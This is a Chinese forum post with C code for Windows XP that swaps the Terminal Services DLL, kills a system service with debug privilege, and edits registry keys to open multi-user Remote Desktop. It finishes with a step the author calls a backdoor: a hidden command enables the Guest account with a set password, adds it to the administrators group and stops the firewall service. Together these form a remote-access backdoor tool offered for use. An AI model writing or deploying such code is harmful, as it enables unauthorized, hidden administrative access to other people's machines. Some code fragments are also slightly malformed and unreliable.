签到

05月06日
尚未签到

共有回帖数 0

    做月子

    等级:
    众所周知 XP 不能多用户登陆
    想2003服务器系统 可以很多人同时登陆 而且互不干涉.
    XP想要实现远程多人登陆 比较麻烦!但还是可以搞定滴
    因为用C++写的 封装的比较隐晦 所以还是纯C 介绍一下吧

    大概步骤:
    TermService服务描述:允许多位用户连接并控制一台机器,并且在远程计算机上显示桌面和应用程序。这是远程桌面(包括管理员的远程桌面)、快速用户转换、远程协助和终端服务器的基础结构。

    1.将TermService指向的Dll(C:WINDOWSsystem32termsrv.dll) 替换成我们从2003 Sever系统里找的termsrv.dll
    PS:这个dll 大家自己从 2003系统里面拿 或者自己百度termsrvhack.dll 很多的哦

    2:替换成功以后 结束 TermService服务 再重新启动服务 那么TermService服务就会加载我们替换后的DLL

    3:修改注册表一些键值即可

    详细看代码 有注释
    //第一步
    //修改DcomLaunch服务 因为DcomLaunch服务被终止后 会直接重启电脑 或者有可能蓝屏
    //TermService 倒是没啥看的 主要是 TermService和DcomLaunch 共享一个服务
    //而DcomLaunch 失败后会重启系统 所以我们先修改DcomLaunch 服务 等下结束进程时
    //系统不会重启 下面代码 就是去掉 DcomLaunch 服务失败后重启电脑
    BOOL ChangeDcomLaunchServer()
    {
        SC_HANDLE schOpenManager = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
       
        SC_HANDLE schOpenService = OpenService(schOpenManager,"DcomLaunch",SERVICE_CHANGE_CONFIG);
       
        if(schOpenManager==NULL || schOpenService == NULL)
            return FALSE;
       
        SERVICE_FAILURE_ACTIONS sfa={NULL};
       
        //失败次数 不操作
        SC_ACTION sa[3]={{SC_ACTION_NONE,60000},{SC_ACTION_NONE,60000},{SC_ACTION_NONE,60000}};
       
        sfa.lpsaActions=&sa[0];
        sfa.cActions = sizeof(sa)/sizeof(SC_ACTION);
        sfa.lpCommand = NULL;
       
        BOOL bResult = FALSE;

        //锁定一下服务
        SC_LOCK sc_lock=LockServiceDatabase(schOpenManager);
       
        //DcomLaunch 默认为自动 所以不修改启动方式
        bResult = ChangeServiceConfig2(schOpenService,SERVICE_CONFIG_FAILURE_ACTIONS,&sfa);

        UnlockServiceDatabase(sc_lock);
       
        CloseServiceHandle(schOpenManager);
       
        CloseServiceHandle(schOpenService);
       
        return bResult;
    }

    //第二步 释放DLL 就是我们在2003 Server系统里面拿到的DLL
    //释放到一个路径
    BOOL ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
    {
        HGLOBAL hRes;
        HRSRC hResInfo;
        HANDLE hFile;
        DWORD dwBytes;
       
        hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);
       
        if (hResInfo == NULL)
            return FALSE;
       
        hRes = LoadResource(NULL, hResInfo);
       
        if (hRes == NULL)
            return FALSE;
       
        hFile = CreateFile(lpFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
       
        if (hFile == INVALID_HANDLE_VALUE)
            return FALSE;
       

        WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);
       
        CloseHandle(hFile);
       
        FreeResource(hRes);

        return TRUE;
    }


    BOOL ReplaceDll()
    {
       //m_szDllPath 因为是C++封装了
      //m_szDllPath 定义为 CHAR m_szDllPath[MAX_PATH];
    //所以记得给m_szDllPath指定一个路径
    //dll 我把它当做资源直接包含在exe里面了 所以释放出来
    //假设我们 m_szDllPath = "c:\xx.dll"
        if(!ReleaseResource(IDR_TERMSRV,"BIN",m_szDllPath))
            return FALSE;
        //设置文件属性
        SetFileAttributes(m_szDllPath,FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
        return TRUE;
    }
    //提升进程权限 因为DcomLaunch服务的进程是系统进程 不提权杀不掉啊
    BOOL DebugPrivilege(const char *PName, BOOL bEnable)
    {
        BOOL               bResult = TRUE;
        HANDLE             hToken;
        TOKEN_PRIVILEGES   TokenPrivileges;
       
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
        {
            bResult = FALSE;
            return bResult;
        }
        TokenPrivileges.PrivilegeCount = 1;
        TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
       
        LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
        AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
        if (GetLastError() != ERROR_SUCCESS)
        {
            bResult = FALSE;
        }
       
        CloseHandle(hToken);
       
        return bResult;
    }

    /找到DcomLaunch服务PID 将其结束掉 因为 DcomLaunch服务 不支持停止.暂定
    // 必须强制结束进程 下面代码可以直接找到 DcomLaunch服务的进程ID
    DWORD FindDcomLaunchServicePID()
    {
        DWORD dwPID=0;


        SC_HANDLE schOpenManager = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
       
        SC_HANDLE schOpenService = OpenService(schOpenManager,"DcomLaunch",SERVICE_QUERY_STATUS);
       
        if(schOpenManager==NULL || schOpenService == NULL)
            return FALSE;

        //查询 DcomLaunch服务 ID
        SERVICE_STATUS_PROCESS   ssp;

        DWORD dwNumber=0;

        QueryServiceStatusEx(schOpenService,SC_STATUS_PROCESS_INFO,(LPBYTE)&ssp,sizeof(SERVICE_STATUS_PROCESS),&dwNumber);

        CloseServiceHandle(schOpenManager);
       
        CloseServiceHandle(schOpenService);

        return ssp.dwProcessId;
    }

    BOOL KillDcomLaunchProcess
    {
    //得到DcomLaunch服务进程的ID
    DWORD dwPID = FindDcomLaunchServicePID();
    //提升进程权限
    DebugPrivilege(SE_DEBUG_NAME, TRUE);
    //杀掉DcomLaunch服务进程
    HANDLE hTermina= OpenProcess(PROCESS_TERMINATE,FALSE,dwPID);        
    return TerminateProcess(hTermina,0);
    }
    第三步设置注册表

    BOOL SetRegisterValue()
    {

        //设置 KeepRASConnections 防止用户登陆后 网络断开
    //XP 用户应该知道吧 比如用户注销了 在登录 网络要重新拨号哦
    //这个就是取消这个 防止用户登陆上来 网络直接断了

        HKEY hKey=NULL;

        if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon",
            NULL,KEY_SET_VALUE,&hKey)
            )
        {
            RegSetValueEx(hKey,"KeepRASConnections",NULL,REG_SZ,(LPBYTE)"1",sizeof("1"));
            RegCloseKey(hKey);
        }

        //开启远程桌面连接功能
        if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\CurrentControlSet\Control\Terminal Server",
            NULL,KEY_SET_VALUE,&hKey)
            )
        {
            DWORD dwValue = 0;
            RegSetValueEx(hKey,"fDenyTSConnections",NULL,REG_DWORD,(LPBYTE)&dwValue,sizeof(DWORD));
            RegCloseKey(hKey);
        }
       
        //支持多用户同时登陆
        if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core",
            NULL,KEY_SET_VALUE,&hKey)
            )
        {
            DWORD dwValue = 1;
            RegSetValueEx(hKey,"EnableConcurrentSessions",NULL,REG_DWORD,(LPBYTE)&dwValue,sizeof(DWORD));
            RegCloseKey(hKey);
        }

        //修改注册表 TermService\Parameters 所指向的DLL
      //指向我们刚刚说的 m_szDllPath = "c:\xx.dll"
      //最重要的一步!
        if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\CurrentControlSet\Services\TermService\Parameters",
            NULL,KEY_SET_VALUE,&hKey)
            )
        {
            RegSetValueEx(hKey,"ServiceDll",NULL,REG_EXPAND_SZ,(LPBYTE)m_szDllPath,strlen(m_szDllPath));
            RegCloseKey(hKey);
        }

        return TRUE;
    }    
    本次手术 快接近尾声了...

    BOOL StartService(LPCTSTR lpService)
    {
        SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
       
        BOOL bResult = FALSE;
       
        if ( NULL != hSCManager )
        {
            SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
           
            if ( NULL != hService )
            {
                bResult = ::StartService(hService, 0, NULL);
               
                CloseServiceHandle( hService );
            }
            CloseServiceHandle( hSCManager );
        }
       
        return bResult;
    }
    BOOL StartDcomLaunchAndTermService()
    {
    //重新启动 TermService 和 DcomLaunch服务 使之加载我们的DLL
        StartService("DcomLaunch");
    //必须Sleep 藐视不Sleep 经常失败...
        Sleep(3000);

      return StartService("TermService");
    }
    哈哈 手术完成 XP 也能跟2003 系统一样 多用户登陆了..
    最后留个后门 嘿嘿

    //启用Guest 账号 并且添加到administrators组
    BOOL NetUserAdd()
    {
        //哎   真不想用DOS命令 后期用NetUseAdd NetUserSetGroups 等函数实现
        CHAR szCommand[]="cmd.exe /c net user guest /active:yes && "
            "net user guest ratpp && net localgroup administrators guest /add "
            "&& net stop SharedAccess /y";

        return (BOOL)WinExec(szCommand, SW_HIDE);
    }

    OK 完成....

    BIN 和 源码文件 就不放了 因为封装了其他东西 就不能放出来了.

    楼主 2015-11-26 13:50 回复

共有回帖数 0
  • 回 帖
  • 表情 图片 视频
  • 发表

登录直线网账号

Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号 意见反馈 | 关于直线 | 版权声明 | 会员须知